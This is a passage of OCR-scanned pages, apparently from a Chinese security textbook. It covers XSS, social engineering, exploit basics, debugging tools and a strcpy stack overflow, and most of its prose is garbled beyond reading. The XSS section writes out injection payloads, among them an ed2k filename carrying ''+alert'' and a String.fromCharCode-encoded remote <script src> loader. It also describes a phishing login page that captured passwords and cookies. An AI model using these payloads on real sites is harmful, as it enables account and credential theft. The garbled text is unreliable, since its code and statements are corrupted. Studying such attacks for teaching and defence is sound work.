ERFEHHEARISKRIBAREHE &S, IHSAE
payload 5| 5 FEISAREIEMIAT, E6-51F7R, &H

B o

RF1282 REFE 21X B 11E o

EENT

i0s8.3a] LAFS S S B FEERRL 7 EE[EA 41 =7

=% ~[x+- —B === ® =

BIUADsgGpF EE}
N3 | i0s8. 30T LAY W=k ?

edzk://|fie|lovely|'+alert(123)+'|test/

gk ESE

Ee-49 BRI —ME T HIXSSTR

http://bbs.x... P |
ios8.30] LA X W HI R4 ?

[l E=RT3IFA »

£24 23:00 {45

WIS , ios8. 3T LI B FEERA P

lovely (+alert(123)+' Bytes)

E6-50 MiXER

N3 |, i0s8. 3R] AN W EhFERRE A4 ?

lovely ('+alert{"xss™)+' Bytes)

IEREREE
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lé\\\\\\\\\ % mmszentins )

IXNXSSIRAZA? No No No, X B 7] L HTML ) <script>ta 2R Ml .

<script src=http://...... ></scrpit>

W LLVE BIZAEA T B 515 S Sk S R ISIA, (HREES L
FERIE S 2 BE 0 TRBATZFAEH

ed2k://|file|lovely|'+document.write (String.fromCharCode (X E{EHASCII
3))+"' | test/

fEString fromCharCode ]2 # L 1\ JFURAR Z N 4% 1 payload [ASCITES, ELfn<script
stc=http://.....></scrpit>1X A TE I ASCIIES 4N T .

60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,
46,46,46,46,46,46,46,46,46,46,46,46,62,60,47,115,99,114,112,105,116, 62
(+3% )

it ARG ARSI T .

ed2k://|file|lovely| '+document .write (String. fromCharCo de(60,115,99,114,
105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,46,46,46,46,46,46,46,
46,46,46,46,46,62,60,47,115,99,114,112,105,116,62) )+ '|test/

EFEBRATARBA LG S EAINRIS,
T BRI SRR
(1) F—MHiE. HEEHTMLY <head>E N FICSSH A ISHAR F<body>H
(e HEETH, ibELmE) , )54 Hdocument body.innerHTML() ) /7 2 B <body>F5 55
PR EEAEFRUHKFR, XREEAFHNET
AT AEEF T XFHFER, —A 2 <body>FrZ IS Ti%: H 17 9] <head>H7r
FHICE, FTUARMBRE R, Rl -1 aarEEa4 R m. SR 2 — 5
8, A — A] 2 String. fromCharCode () 2 50 5 /2 W S ASCITRS B A £ T 2 ELAY
X TERR RAE T A A, FTUAE S5 .
(2) M. TEAMFERARISH A Ffwindow location href=http://... ; f177 Bk 5
OV T i (e ASA frpayload P SEER, i EEHE—TF, M4a?) .
SR JE R A TR T H TMLAS 28— T 1Z L IS AR
FENF AT AL E, nE6-52fm. PATIEAN R, W& 6-53F7R.

$(".submit").click( login );I function login(){
E6-52 EMmATHIAIE E6-563 HITHRE

Elogin LA A UKL T FERAMEN PR TEFAEE A CRMRE S, KIETET
iR U B BSIE 0, ARX IR A S RREE
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HOE AIMELRH - ////7////,D5C

EE: kHET OO E— T E2E, FERMGRAEELE, R AR AR
TR AR DL B a6y, BT B A% A setTimeout(function, time); #9 7 X 2ER gk
B, 25— TN ET OO ELECRTAGT e “BRREFF, WE
FAERK” , BG4 T cookie data refer¥ # ¥ (XR2EAM, ARAARER -/, X
Acookie R R 3Ry, RiLikd T AL FH — RSk aTstME L3k, XIAHLALIZTH
cookie 7)) »

RIGBRATR BB B B T I RIE KRG R T -

WA, A, A BB R AT It e i kXSS, Mt e
EEEAS.

(1) fili% TXSS, E6-54f7x.

o XXE
o B, B2, BIEANEHLE,

mER R Wik W SasE AaER il

GIEEM ¢ MEEE | ROOTAHMSE | BfesElinFafgssis

i - | HE
50| EEC - S———— A (S
Croxa00
Ij‘ TRHENE | FENEE -
ZMRIESH Cro
L= |
(|
AP AT
1 1 j i) VI
< a >

E6-54 fh&XSS
(2) BREEEANTH AT, PTLUE R A A4 T 2, WEe6-558T7R.
(3) WA P LNEN, WEG6-56/TK.

——
8 g o 5 [T 8 om0 8ot RRWF
s e b g o oy - e e O
ol L O 3k et SRR F 1
1 LRk farskd ¥ o

ahcd123456

oooooo

E6-55 HERE E6-56 MNAREZ5%H
Wiy “SERIBEANY HHlZ G, SUHE B RS AL T IR S MEE IR R T iRts T
7, WEe-57HR.
BE— MFEINGE LR, WE6-58FR.

— 117 —



O

S \\\\

U

RESRERAIER

T
[« O o .o
[ mumm e I
RE e Q-
BE. B2 BUANFERHSE, RS FAEAA TIEEE AENFE ERan
Cronoooat
A ’ w10
l'l . £ 201
BhER
ZHH T iPhone R T A%
WlmEl YYAE  YVERE  YERE  RASISK led i 2z
ARFFE—TIEETEREESIL u
W I RBEFESaEESSHG dr (B SiNFEE20%EF
EEE  EED  TaERSrEd I HHE TS 05T aiasE | .
WNE =212 B
B I EEELIOST ainE | 2015-02-18
2 ] EWASHEP (S S} e B 2015-02-03
@ (et BAth EewihEs 101 2015-01-31 -
L I8EF 8k 10 100 1501 .2

E6-57 LA™

124, 06,126, 8 | 2016-02-24 23:37:13

Userhgent = Mozilla/G.0 (Windows NT .1 WOWAd: Trident/T.0; rw:11.0) like Gecko

Referer: [ ogin, htnl

DATA: {"browser : [ name : mozilla’, wersion :"11.0°}, ua :"Mozilla/5.0 (Windows NT 6.1; WOWG4; Trident/7.0; SLCCZ2, .NET CLR
2,0,60727; .NET CLR 3.5.30720, .NET CLR 3.0.30729; Media Center PC 6.0, .MET4.0C; .NET4.0E; rv:11.0) like Gecko', lang’:" zh-
CN',"referrer’ ;" http://bbe, #xzhushon, cn/thread-104604-1-

Loktml’, " losation” s http: /0000 ogin, html”, "toplocation :' http:/
r0" P4 abed 1 23456 8 1234564 R

login htnl’, ' cookie’ :*"," domain’ :'

E6-58 EFEBIMER
MRASE RGN BLEIE, WTLLSE T RS T, AT MBS SSHRE A
xssprobe IS (P AT LARE])
2T hne] By X AP AR T A T B, 2R AR GO, S AN T ETR

| P .
6.5  Hiij 3y iy 15

ARG RF A B v s T e B R I A Bk I 8E T — 2 TR, HAERET
“I” , AREEINEAML T #E P, R, PR HHGE . BT OREHE AR
HIATHIES] .

By 10 51y ey B 1 R A A3

1. Webi B

Webii [ Bl e Web 2T . XIS EMAMH4XSSIER, 4BV iZiEEAHE—
MRASHME R E S, 2% DRk B P B A TRERA T ER, HE M)
S8, W<, >, =FEMNSHTIELE, HBIESCARTER, X <script>Fr%E UL R

onload. onerror# HISHEMA LR IITILE, UALERISHIMAT, FRNMLE EESHI
TREZEME . EFRMXSSIT e A, TTLIEES H.
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HOE AIMELRH = ////7////,D5C

2. BRBAE

Hm AN R FE AR SRR, BT — 2RI (Bl S RIXSS) e
EIRREAREER P A, BTRMERR P, AR A b,

H A 32 22 1 Bk Jr O AR DLRT A5 B 9 3 oP 4 A RETSACRS AT, B W AR AN
B, FrEAFRR— AN 1 L ST AR H B2, fldn.

(1) ANEREGITIFHE AL IR

(2) AMTIFPIENRIE AN AT S B

(3) NREGITIFHR B R g2 (X0 A8 T e 2 R 2R I HH 1K) — S XSS
L:: D

AR, E A 2 T A F AT LGRS E ST B Z 3D, AR R R B AN
B, BT LAFRATTIE 2 N 3BV ) H S e LR 2 L R R b, this B A e AR
A UEAR X IR, ABE TN 2R~ IR AR &,

3. M SR

W i i 6 4 (] RUEOR A2 T, W BEEE) RN T aR T ek ok, R EDh - 4t
Inge4 i) EREREE, TER %22 AIXSS filterF1Chrome i % 88 FYIXSS auditor TV T LA S R
Wl S FIXSS T, WREEE R —MEELEMA, ERAERIAN Y28 5 E il Chromeff 2
A AR R IERE,  BRh K 22 400 T i B 8 B B AR T A RT RE R TR K
WABEENER WHBRKREST, fibwEanBERRNJLENTTEUSCA L, iEAM]
fr_E R ERSETE 2o 4= 2 T EARTS B e T .

6.6 A/

M LZ e RBZXERE —BRE T, AEMENH THTMLIE A E 5L 5 A
JavaScriptfI 7i%, FHERNER B HIAE T XSSHCSRFEH MR . ABME JLAS 924k = 61 Rk %
Bh A I E W B XSS Ty, B E FROGEITEE R LT AR TR
A B i — L8 5 i

EAF—#2AJE, XSSHICSREZA & Fy i 2 i 446, FETFXMLIXXEX %N A1
AREPH AR LM IOEE, "RAa AgerrmEEmf e, SET
¥, BETY), EFBEELMEGN . BAEES AT THEEHIINE, il sE i
Ry B ORI AR RS, BREEXTARLY I 7E (M B B 2B TR AR
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1§§N&31%35§éﬁﬁﬁﬁ_

BREMNEEX I AEE B —EMFUA, SSRGS 28 T EN R F B
HVEIEEIH K, =l R R BURE B R — BT TR R D RS, 70X L
BHEAT 2 N T ERE 2 R X Eee ok BRI B, RILPAMEEE R T —E %4
S B iR, #E& T2 (Social Engineering, ®FR4ET) . AR LE 8T +E
S TRRFRMMELY, SEEHRRCR, [FRH S STREHR ST EHARED, X
BB N BT RN B H R ATE T, BRET BN RTEE ] AR AN TAE P IS R E AR
M.

71 #IGEE TR

BORAL S TRRY:, AT S BT AL &SR E IR A AR R AL
SFEMEAX Sy, BRME MERIEMEAT A AN, B —TITRYR, a1k
7 S A TR MERRE 2 I T A RS I ABFREATI T, IBSRSE R H ORI HE
BRAL . N2 NRKAERE OB UH—RERIN GRS : — ek
AP RMESHEAIAKITREN . BEERENANTER, P ERARIEE, “N7 &%
TR MEANRGE T BE S PR KA, PN SAT 0 AW SN T A BRI 5
SCLSER AT ATy, B Ry A E, SRS S SR T EHRE
BABKRE . 4 TR NS TR S N EEWE T, EE AR
W PR AL TR AT B W U B9 26, R/ 4 SE R i F 9 25

BRI LA E A

1. tARHE TSR

R 1F RPN S TR ZA, B —NEHNESE, AT O0HEE, e
FURBZHR “N” B1%0H. JFKIL « KF/E3 (Kevin David Mitnick) $#&H “Ft4
TAEE” AR, X1 S | Ry 50 e m] BUE AR, A5 & F
RASNIE S BB BRI BB R MO, XHSREFY, XA ANPAENE, FL
AU IE AR A S T .

2 HETRFERTA R —MEIREIEITVR

FRFHLTRAIES, FEATRIVAE TREAARZE M ARSI ? K
S TRFRBERS AR, R —METT, EHFER-MKENET. 4
BT EHARIRIZ PR T 1004 X T TRENAERE, AREBNE, &
E-ERE AN S TN AN R A G GO E R OOREAT RS, H5K
br bt a TRZNARIFAARINE, B MELENBIENTZE, 2FMEMERAR
TEMFEX.
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TR RHE TR bugHEARL 1 ////7////,;5

.S IEFBHRINNEFTESIT

ME RS NiZEFRIER. B! e TREYERMNPET D LEAE. EEEM
RS RIS 2R T T Al “RBR” , Al s TORARNAE B BB A S U ZEHERS™
i, AR B0 S5 AORIE AT AATF AL W SRR O ERSE, IX AR A2
TRFEEETAI, TR EEAE.

4 AMLEREEHSTRES

IEMR 5525 2 R AEN IR SS S BB IR L —#, ARZehEE AT tts
TRFZ L, REHEHEIENARRZ 2R, EERANNELS TR MY,
Wit #E A AX A bugB A, 73, TR LAk AT AR —FFHT )
WA, RERANERA T EFEES, THFERASTRY, AR B ANTRI I
i, ERES AMITIAL 2 AT A RAR K2 4t

5 MAREGEREHSTESE

MHETRFEWAAERRAS IR, MRERGEELSTHES, MHESMHEm
W, PlaLLEse, e, B, B — I T ARG AL, R A
B CANTERIS95) « Christopher Hadnagy () (#<TF2 ARRFEAERR) &F
fE. Rph— e EH R RSB OB EERE S, MRt TEREETESE +4H
EHEA

7.2 Fh2 TRAMNIEACL R
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TR, B W120084F —ANFEf S R IRINMS08-067, 434 Windows XPHR 4t LA
JzWindows Server 2003 R 4R T VR . MBS, A3 AR H 1 —/ N IPHuhE, HifE
IR AL, BEAH, MS08-0674 SR 4 M FH 78 & (I B 24, 1 X ANk il
VEAE I SR B IE R T <77 FRFRR TR R . 201440588 IR IR AR AR & 10—, EXII
COREHIL” \ fEH Fshellshock i e FEJIRIIE “ il 7 CVE2014-6332#8 2 f& # 55 H ik
e PR o

I e AT, AN EER BIENMRFRE KNSR, EaFHEr R, X3
AETSBERBER BERMERE, 1EBESYETT KExploit, FHRFREEZ—AX—1
BBt -

LT HEP PR, EEHTFRAMBER, KESHEZLATT DR, X
HEHER R K — FPOCIX S, POCEIRIFKALKIFER, FRKAEE/REE R
SFRIET, REREWEDMM LI, TPOCEANEEEEAN, MIF 5N FrS O
—Ff . shellcode A& 3 HIE AT, a2 7ER PSR R, 8k fil & 54 0 T A 2
FFE#Tshellcode, MIMTIEFE TS AE B A5 v EAL_EHI#RAE .

FESERL — R SERE MR BT AR FH 2 8, 87 B T fl i Ak & T B AT LA 58 plX AN ik
2o HE® X FRFES . FAMTRREZ, SFRE KA Rz TH,
PLEARZ e 4 7EOD. IDA R4GfE. 48R, X TR0k 7 BE ST i =4 “
7, XA SRR A, RN =A TR T wiRERE, AT
A 99% A IR AR ek T T2, T AR,

EEF A RFE S FIRASWSEZ A, ExiX =f T REE R, 4B THET
X=Fp TR RS TS, R ERE, RRFEAT!

LAF A AE A IDA Pro. WinDbg B & OllyDbe R T I¥) % # 2 5], %X =# T H
TAEEREN A TS TAE. B TREE F—EHWENE, HEWE SRR
A, Bl HANEY .

1. IDA Pro

IDA Pro2 58745 RILHG 28, LiLTEWindowsib £ Linux A4t FAFE ALK R . BE
HIDA Prof 58, EIAEWMHMEZFFIERIK, HiR KR RILEwEE A EEEPESCAH)
AP TR —E 2, T B UK B AR BSOS B A AR B B, KROK4ERE T
SNTRE IR g AR I I IR) o B AN AE S 7E Windows T 58 BCHF R8T, R I7E 4 A
HILinux R 45 S A3 IH AT CASE RSO 40T Linux B8 W RIC S 5 St 248 FIGDB, {H2
GDBW 2 7Em-&AT P, M HL48 #0775 2 -core 30 RF, HBUFR S Nk,
{H/ZIDA ProffJRemote Linux DebuggerZh fEIEH K, B LASZFFm B Linux T 3K
-, BRI B A AT ERAE, 4 Linux F 84, S8 R 5 A Windows F—
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RESRERAIER

FEfRT R

T HZEREXIDA Proi AT —E AR, R ERAT IR 23 id # b 7 20
—EFE AR, HSKIDA ProA S HThAedEH ok, HRMIREFELEBEF.

IDA Proff) S i FE8-1F 7w, i b 2sesss, Hhad& FIDANFTAE LR, &
MERER:, AMEFED, FHE2EHA. 20 REEAERE F AWindows 1 #F 5
RIEHE, W RELL “sub_ BT ” MEAGRM, HLeRE - LRENEN, Hkw
printf\ strepy%, USERFAZE, TERMRSERHEERNREET .

@, ID4 — C:\Program Filez\IDE Computer SolutionsiUltraEditiledit32. cze

File Edit Jump Scarch View Dobugger Optioms findens Halp

S|l ~ |[th@miB] = o 4 #]] =@ x|
EELIERIES Y Pl [ Nwe o] JmEl B
Boon[BamE v o« No|[gu- #-v SHKm~ ¢ | : e | Whfawss

TRIEL LR Y eer——
:__j|
[ %41 Functions wncom o x | % [Z IDAviews | x B He:(VmAlX B Strctaes | x En Ervs | % BR Impore | X 3 Esperts | -

Function name ] * |text:peC72612 ; [DBOEORBA BYTES: COLLAPSED FUMCTION start. PRESS KEYPAD “+™ TO EXPAMND] El
el sub_a01150 i -Lexb:DEC7EG1C
i sub_407100 _texE:OBCTIAIL ; =============== S UB RO U T I HE
M6 b4 30 -text:BBCTI61C
5 b 407200 Lext:DBC7EO10
| I — _texC:BBCT2610 ub_C7361C proc mear ; CODE XREF: sub_C73719+118)p
"@sn.b_-lmEIIl * text:BOCT241C mov edi, edi
ey * text:BBCTS61E push esi
oL s © _exL:RRC73ATF call Sub_G7uB3
S bALIR * .text:DBC7262N pop ecx
W bATL * _text:BECTI625 cmp ean, §
Haub W07HD0 “ text:pOC730z8 b 1oc_C736B6
o o * .text:DBOCTI6ZE mouzx  eax, word pte [esi]
Bk 20040 |t Jtext:BECTIEI cmp eax, 5Ch
AL sk AR © LLEXL:RACT3A3Y iz short 1oc_G73638
1 sUb_4021E0 | * text:BOCT2636 cmp eax, 2Fh
34} b 402170 Ll * text:BBCT539 inz short loc E736B6
M0 sub_4022210 | .text:BEC7363B
7 cub_402000 | _TeXTIBNGCTI63E l0c_L73638: ; CODE XREF: sun_C72a1C+18T]
47 sub_d0zenn | text:BBL7263D movzx  ean, word ptr [esis2]
% 2k 402650 | “ texbL BOC7343F cmp eax, 5Ch
S b 402560 * _texf:BBCTIAND iz short loc_C73649
\.ﬁ“b_wﬂw ! * text:BBCT 2644 t.:np eax, 2Fh
"ﬂsm_mzm : * Jtext:BECTI6NT inz short loc_C736B6
e ech_407960 _text:DACTZA4D .
e | .text:BBCT2END loc BFI6N0: ; BODE XREF: sub_C7251C+26Tj
‘ﬂsLbJUZdDU e _text:BECTI64T MOVZX eax, word ptr [esirh]
SRkl In |t LTeXT:RPG7IAND cnp eax, 560
I} b 4020840 © text:BECTE6LE jz short loc_C72686
:.gsu:_mzmu * _text:DBC72652 cmp eax, 2Fh
17} aub_402E00 |7 _Text:RBCTIE5S jz short loc_G736B6
N0 sub_#02E20 T text:BOCTI6LT lea eax, [esi+é]
f'@abJUZEED 1l | * text:BOCTIEEA movzx  ecH, word ptr [eax]
i'| (11 | k) k “ JlexL:BEC73G5D xor edx, edx =
0DBTZAIZ | OCCT36LE. svart
& Dupu windse o
License: BB-FEDE-C244-00 LIcens=d user CLODD usersd -
The hotkeys are F5: decompile, Cte1-FS: a
D'IEa!E check cne Ed\tfplugm: manu ﬂ:w mnre mfomarnn
ego00:0L03: Can't Find nams Ehmt use manual clrgg
segooo N can £ find name (hink: use manual arg,
The 10111 a!\aucuanalysls nas UEEI’] ﬁmsheu . -
un?naqu Ine mnuu1e cs \Dﬁggram F1|e:\IDA\pr‘n:s\pc w22,
bytes  pages siza descristion =
C4081664 G502 3192 allacating memary for b-tr -
Lqnsead EEEIZ ELBE allocaring memomy Tor \.m"l:ua‘\ arr'ay |
...... Py e e i e ]
I |

PCIJUSEEB:E Deen | Dizk. JIGE m

El8-1 IDAProExfm

RMANE RIS EE D, EIDA View-AZ PP SEERILHIEE R, Ho textf
REPEXMHF I FB, SRS 1 RILHRIE S FTTER N A7 k.

HiETEBILRIES G, HPSESEZBRILERES RIFERARIERER, EXREEN
AR E AR R, BAES T HIRERERER, wE8-25r.

TEXPESCAF#EAT NI FIDA Proe T 2 J5, B A2 Fr ARG 45 1 LA AZ
ERER RIS, WE--3f . EAMNIT (ERATIE &Mt 22 (8] (1) I 55 B AL 25 5%
A, [RINEX AN THEAT R b, MM did e fr i fe E e 2] TRKER.
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EF aERTNIETE

WU AT T T T M
L TS TR T T T TR S T T

NIRLZE M ORI A A Ve AT Y. e
SR TR, RUERO ey T R S R Bk il
NTERL, TR AR Rl e R
+ TRmER

Bl Wl TR
MTRFEORREEN, BT CREN, BTRRLE LA LR e
ARGEREITE T, SR TH RGN ER, AR R
FOMTHRZIT PR SR R bl LR SN
Fil P NG A S T PR R P A
v R TENN LW AR AT PR T e
[CERERE T B P T v BT TR
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RESRERAER

Micro=oft (R) Window= Debugger Version 6.7 .0005.1
Copyright (o) HMicrosoft Corporation. All rights reserve

*%% yait with pending attach
Symbol search path i=: *%¥% Invalid w*xx

* Symbol loading may be unreliable without a symnbol =e4
* Jze =ymnfix to have the debugger chooze a symbol patl
* After setting yvour symbol path, use .reload to refres

Executable search path is:
ModLoad: 01000000 0101f000
ModLoad: 7c920000 7cSb3000
ModLoad: 7c800000 7c91e000
ModLoad: 74590000 7dds84000
ModLload: 77da0000 77=49000
ModLoad: 7750000 77e=2000
ModLoad: 77fc0000 77£d41000
ModLoad: 77ef0000 77£39000
ModLoad: 77410000 77420000
ModLoad: 77be0000 77c38000
ModLoad: 77£40000 77£be000
ModLoad: S5cc30000 SccS56000
ModLoad: S58£b0000 59172000
HodLoad: 76b10000 76b3a000
ModLoad: 76990000 76acd000
ModLoad: 770£0000 7717b000
HodLoad: 77bb0000 77bcS000
ModLoad: 77bd0000 77bd8000
ModLoad: 75940000 75a7f000
ModLoad: S5adc0000 Sadf7000
Hodload: 76300000 76314000
Modload: 62c20000 62=29000
ModLoad: 73fa0000 7400b000
ModLoad: 77180000 77283000
HodLoad: 74680000 746cc000 SWINDOUS systen3 2NHSCTF .
ModLoad: 73640000 7366=000 SWINDOWS systen32 mnsctfi
{52c.5c8): Break instruction exception — code 80000003
ear=7{{d8000 ebx=00000001 ecx=00000002 edz=00000003 es=i
eip=7c92120e esp=00abffcc ebp=00abfffd iopl=0 |
c==001b ===0023 d==0023 e=s=0023 f=s=0038 g==0000
*#% ERROR: Symbol file could not be found. Defaulted t
ntdll ! DbgBreakPoint :

7c92120e cc int 3

E8-7 Windbgf&1T

AWINDOUSwzvstenlncalo . g
SSWINDOWS system32hntdll.
SWIHDOWSssysten32nkernesl
SWINDOWS .system32WSHELL?
SWINDOUS =zysten3 2NADVAP]
SWINDOWS systen32WRPCRTS
SWINDOWSSsysten32hSecur:
SWIHDOWS systen32~GDI32 .
AWINDOUS . svstem32NTSER 3
SWINDOWS systend2 nsvort
SHINDOWS svsten3 2 SHLWAE
SWIHDOWS systen3 2 ShimnEr
SHINDOWS AppPatchsAcGenz|
SWINDOWS systen3 2 NWINHH .
SWINDOWS systenl2 olel2 .
SWIHDOWS systen 3 2M0LEAUT
AWINDOUSSsysten3 25HSACH:
AWINDOUS systend 2NVERSIC
SWIHNDOWS systen 3 2WUSERER
SWIHNDOUS wsysten3 2 \U=zThen
SHINDOWS systen3 2 IHHI2
SWINDOWS . systen32M1LPK . DI
SWIHDOWS systenI2NTSPLO.
SWIHNDOWSSWinSeS-=86_Micy

COOOO0O0000O00000000000000000

T AR RS P FEA L.
> ko—HAMAAM, BLIAKDTAE A BN BHATARE A T A BL, e

i ] LR IRIF AR A AT 035, A B TR RALRIAARA AL E, B 8-8HT .

0:001» kb

ChildEEP RetAddr Args to Child

WARNING: Stack unwind information not awvailable. Foll
00abfff4 00000000 00000000 OOO0OOODE 000060cO ntdll!DH

E8-8 Windbg kb#i<

» bp, ba——TFH &, H Pbp T XAAF48 2 Mk T BT & ba T A2 k3 5 KT &,

ATB R . BB ST R AT NG KA 36983 5 AR, 0 AR Bk,
PAT T BT 35 437 W A7 K IR A0 A BT B 0 AR R T 5, ) B be 7T A R SR R ik
.o AT Al it bp FFFFFFFF " if (poi(@eax)=).else{g; }"#97% Xk F 417 5.,
A W 52 35 JEFFFFFFFF ok 4k 4o Reax ¥ T 3BT 4545, T 4k%:,

dd esp— & A X T A B AL, FEHMER G Lespr 85, X E7ThKeax, ebxF,
KRR TG R OIRIR, TUARIAF I AT L R R K R A 2 e AR ALEF,
4 8-9FF .

lheap-p-a——347 7 T3 FF4am, K ERhi 2 Th), RN AELLEFF
W 2w, AR S R IRIRERAEE TR TR,
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- X
Address expression

0:001: dd
Olabffco
00abf fdc
Ol0abffec
O00abfffc
00ac=000c
Olac00lc
0lac00z2c
00a=003z

esp
7970010
D0abf £40
7970030
goooooono
fffffffef
gooooooo
oooozoso
B5992754a

miz=zing from

noooooos
000laa3b
ooonoooon
noooooog
ooon4000
goooooon
28c7£140
noooo00a

nooooond
ffffffff
noooooon
no0o0&0=0
oooooool
ooooooao
11d2de25
pooooool

'"<EOL:"

gooooool
7c922900
nooooono
goooooon
gooooooo
ooooosen
1000ddat
gooooooo

El8-9 Windbg ddép4
PA b i &R 7RI 2 A i S, X iy & 13, a MR HE B % 17
AR, EALC GRS, FRE D VCgn ARSI (19 20 A, £ B TR B Ak A R BA BT B
JREA

3. OllyDbg

OllyDbg 2 Xt FRIA I 1#E B NIZ WX TR, 1A HEAH L WinDbg R i 38 # &
i, 1AM FHERRES KRR IEEEW . WIREOLyDbg 2 — AN 1E, WinDbg#h {4 iy
47—, FIBOlyDbgRIFE L kR, HIRE AH B M MFEOlyDbg B AH )
RAILSR, A AgifIhfE. [FRFOllyDbgA 5 5y — e % &f A (4, LLiDisable
DEP, XX FHIEROPHSIIDEPK &R FIR AR, & feiiE# Bh il F & e L BMiE
ROPH T LA & . 75 KK A Gl F#lE, THRODITAIFTI. mILLEBIFES m K
I bARRICEMERTD, A LARFHFEED, ATARANGTED, 4 FALHERH
HED (3%E9-1) . #EWinDbg, OllyDbgf) fmg ek 5 HM, 7T LU ik 5
[, GEFEEX TR HLD R BT S RAE, IS A U RT DL E B B A AT 85 I AR A 1
B, WIRIRLL, TonEX—ILgmRL S, G & M 3% 5 A28 A ME, X5 na %
IR TR [ 39 A

BRI UESEIL, E. M. WS, X FROllyDbg ) HAh JLANE 1,
T3 FoAh JUAN B 1o 5 P 2T LU BhERAT TR T SV 4 R

HAPKE O F R AN SR, At 5WinDbg B KA R, 7T LA F %I 4 f Chd i
HI R ECA oL, W BVERA B G AR MEIATRE OLES-10) .

of main thread

PNLY;

calc.810621AE

L

0007FF28| 010125E9 | calc . B1001F51
BOB7FFCH 7CB17867 | 777

calc.<{ModuleEntryPoint>+16F
kernel32.7CB17064

F8-10 OllyDbgH## i AE O
Ef O FRTHATE R, KA &FZEFPAT R B A FR. bk, X7EM
HEROPHE. ASLRZEN & AR RRER (LES-11) .
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ERE: Rt =
Base (F A/ CHFEE B2t i SRR ikt ain A
01000000| 0061F 60| 81612475 | calc 5.1.26080.0 (xpc] ADUAPI32, GDI32, KERNEL32, nsvcrt
SSFBOOB6| BB1CABOB| S8FDEBGE | Actenral 5.1.2680.5512 (1 ADUAPI32, GDI32, KERNEL32, HSACH3
SADCOP00| PON37000|SADC1626 UXTheme 6.00.2900.5512 (ADUAPI32, GDI32, KERNEL32, msucrt
5CC30080) BO026008| SCC38ESS | ShinEng 5.1.2600.5512 (i KERNEL32, ntdll 3
62020000 BONA9008| 62C22EAD | LPK 5.1.2680.5512 (i GDI32, KERMEL32, ntdll, USER32, U!
73648000 BOAZEBOB| 73659FE1 | nsctfime_ime 5.1.2680.5512 (1 ADUAPI32, GDI32, IMM32, KERNEL32Z,
73FAB000| BOAGBAOB| 73FBELAY | USP10 1.0420.2600.551] ADUAPI32, GDI32, KERMEL32, USER32
74680000 BO04CO08| 7468135 | HSCTF 5.1.2680.5512 (1 ADUAPI32, GDI32, KERMEL3Z, nsucrt
75900000 BOBAF 08| 759D15E4 | USERENU 5.1.2680.5512 (:ADUAPI32, KERNEL32, nsvcrt, ntdll
76360000 G001D008| 7630120 THHI2 5.1.26680.5512 (1 ADUAPI32, GDI22, KERMEL32, ntdll,
76990000 B013D008| 769ADOBY | 01032 5.1.2680.5512 (1 ADUAPI32, GDI32, KERNEL32, msucrt
76810000 BOA2A006| 76B12B61 | WIHHH 5.1.2680.5512 (1 ADUAPI32, GDI32, KERNEL32, ntdll,
770F 0000 BOASEO0A| 770F1560| OLEAUTI2 5.1.2680.5512 | ADUAPI32, GDI32, KERMEL32, nsvcrt
77180000 BO103008| 77184256 | conct132 6.0 (xpsp.08041: ADUAPI32, GDI32, KERNEL32, nsvcrt
77BBO0OG| BO015008| 77BB1292 | HSACH32 5.1.2680.5512 (1 ADUAPI32, GDI22, KERMEL32, nsucrt
FTONAAAR] ARAAOARA! 77DN4492C | NICDC TNM C 4 926RM CCA9 f+ FCODWMCI 99 ntEAT1 v

E8-11 OllyDbgRIHTH R E O
M E 2 WA TS L, X Bl DUE Bl M bk . 17 i AR SE,  EEini@idE
& O BB A EROPHE A F bk (B, T8I 20 B (0 TR OB PR SR vk 5 2 5 A FH A B
g HhE, A E shellcode i B IR RS (MLFE8-12) .

EOET O R |g& =m[vE | Eamel

bo010060| DADO1000 i) Priv|RW RW

60820060 0AAG1660 (j;f%é Priv|RY RW

90830060 BOBO8 000 L] Priv|RY RW

6067C060| 60001080 Priv{RW GualRW Gua

B087D060| DOBO3 080 lﬁ of main threa Priv|RU RY

0008 0060| BOVA3060 Map |R R

00090060 DODO2060 Hap |R R

00610000 DOB1ADOD i Priv|RY RW

DO1A0000| DADB6 000 | | Priv|RU RW

DO1BDA00| DADO3 00D | | Map |RUW RW

B01CH060| DOA16000 Hap |R R C:\WINDOWS\system32\unicode.nls
BO1EGABD| BOB41000 Hap |R R C\WINDOWS\system32\locale.nls
B023080680| 00A41 080 Hap |R R CIAMINDOWS\system32ysortkey.nls
60280060 BABA6 060 Hap |R R CAWINDOWS\system32\sorttbls.nls
00290000| 00841060 Map |R R

BO2EBAB0| BOPO3 06O Hap |R E R E

00310000 BOOO2000 Hap (R E RE

DO3B0060| DADAT1000 Priv|RU RW

BO3COA00| DADO100D Priv|RW RW

003D 0AGH| DOAOG OO0 | Priv|RY RW

PO3E00GN| BA0O2000 Map |R R

BO3FO00B0| BODO1000 Map |RW RW

6804068060 6ABA2060 Hap |R R

00410000 00008000 [ ] Priv|RY RU

00420000 | BOPOLBBO [ | Priv|RU RW

00430060| 00003000 Hap |R R C:AMINDOWS\System32\ctype.nls

E8-12 OllyDbghEFE O

OllyDbgZ it IMEA AT IR TH, SMETHERSEM A, TelEdEED,
FRE O DAK BT A7 25 T 1 1R B L M A 5% B2 P AT A s Tl ik 2k 2 Hp AR 225 ) £ 9 A AR b 1
O, FEF AT DAMEZ R 22 U firh e A A4 ) B S - R T i i S ) B R BUBR AR HAT I B
AMid#E, AHHOllyDbg. WinDbgih 75 %2 8 £ [f iy & R B FH X —id 2.

FHit, XFOllyDbgl# 43R H By F1 %38 % F IR M M PEA ], OllyDbg FIFFH2{it
TRZIHEME, XEBEA——IHE, E5RENEILES, 2B 7 PODK#FEMF LW
fe] St Bh VA .

8.1.3 strepy3| &Ry “mZE”

BHREBARS T —MARENER, BB RTE TsucpyiE, X2 HARZ
i IR ARA IR B, R HCOE B T AL S B AN ™ A s ) (LPEI8-13)
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int flag = 0;
char overflow _a[1680]="aaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaa;

E8-13 BRFMFHREN
A LUE Bl goverflow ali{{EN—MEKTH S, ZEMARRNIEK TS, XH
7 J5 B2 B FEMIE R H shellcode FH iR B T -
B8-141 7 & — B B M R IR I K AR, strempF AR KHE, HEZATEHME
i ged (O SER AE A, XA 10 08 U2 T i strepy, 7T RATE 2 b i A3 i1 B4 oK
/NAS, TIE X overflow a4 AN Aast RIMAH, WA ZHEE LEK S N RIbHA
FHRHE, 2iEMRE HR ML R E G 2R PO FE AR, SRR, A

char b[8];

i =strcmp(overflow_a,overflow b);
strepy(b,overflow _a);

return i;

E8-14

HHWinDbg, HATHI T,

